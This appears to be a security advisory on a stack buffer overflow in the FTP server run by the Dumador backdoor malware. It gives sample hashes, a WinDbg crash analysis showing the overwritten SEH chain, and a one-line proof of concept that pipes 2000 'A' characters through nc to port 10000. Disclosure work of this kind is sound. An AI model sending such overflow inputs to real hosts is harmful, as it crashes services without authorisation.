Threat: Backdoor.Win32.Dumador.c
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware runs an FTP server on TCP port 10000. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting the Structured Exception Handler (SEH).
Family: Dumador
Type: PE32
MD5: 6cc630843cabf23621375830df474bc5
SHA256: 634eb7d9f5488b46ac44d784da8d82d98a8d86c1c8ef9a838535d44b8e420ea9
Vuln ID: MVID-2024-0679
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 04/15/2024

Memory Dump:
(16e0.150): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000000 edi=00000002
eip=775ced3c esp=0401f208 ebp=0401f248 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
775ced3c c21400 ret 14h

0:002> .ecxr
eax=0401fec8 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000410 edi=00000194
eip=74657c7c esp=0401f8b8 ebp=0401f8e0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
kernel32!lstrcpyA+0x1c:
74657c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:04020000=??
*** WARNING: Unable to verify checksum for Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe

0:002> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

FAULTING_IP:
kernel32!lstrcpyA+1c
74657c7c 880c16 mov byte ptr [esi+edx],cl

EXCEPTION_RECORD: 0401f408 -- (.exr 0x401f408)
ExceptionAddress: 74657c7c (kernel32!lstrcpyA+0x0000001c)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 04020000
Attempt to write to address 04020000

PROCESS_NAME: Backdoor.Win32.Dumador.c.6cc630843cabf23621375830df474bc5.exe

ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.

EXCEPTION_PARAMETER1: 00000015

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

CONTEXT: 0401f458 -- (.cxr 0x401f458)
eax=0401fec8 ebx=00000000 ecx=0401fe41 edx=0401fbf0 esi=00000410 edi=00000194
eip=74657c7c esp=0401f8b8 ebp=0401f8e0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
kernel32!lstrcpyA+0x1c:
74657c7c 880c16 mov byte ptr [esi+edx],cl ds:002b:04020000=??
Resetting default scope

WRITE_ADDRESS: 04020000

FOLLOWUP_IP:
kernel32!lstrcpyA+1c
74657c7c 880c16 mov byte ptr [esi+edx],cl

STACK_ADDR_RAW_STACK_SYMBOL: 401fa34

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 00401bf3 to 74657c7c

FAULTING_THREAD: ffffffff

DEFAULT_BUCKET_ID: STACKIMMUNE

PRIMARY_PROBLEM_CLASS: STACKIMMUNE

BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE

STACK_TEXT:
00000000 00000000 unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe+0x0

STACK_COMMAND: .cxr 000000000401F458 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME: unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: unknown

IMAGE_NAME: unknown

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAILURE_BUCKET_ID: STACKIMMUNE_c0000409_unknown!Unloaded

BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_MISSING_GSFRAME_unknown!backdoor.win32.dumador.c.6cc630843cabf23621375830df474bc5.exe

Followup: MachineOwner
---------

0:002> !exchain
0401f2c0: ntdll!_except_handler4+0 (775d6a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (776157ad)
0401f8d0: kernel32!_except_handler4+0 (7466d450)
CRT scope 0, filter: kernel32!lstrcpyA+2d (74657c8d)
func: kernel32!lstrcpyA+40 (74657ca0)
0401ffcc: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
python -c "print('A'*2000)" | nc64.exe x.x.x.x 10000
220 CONNECTED
ERROR
ERROR
ERROR

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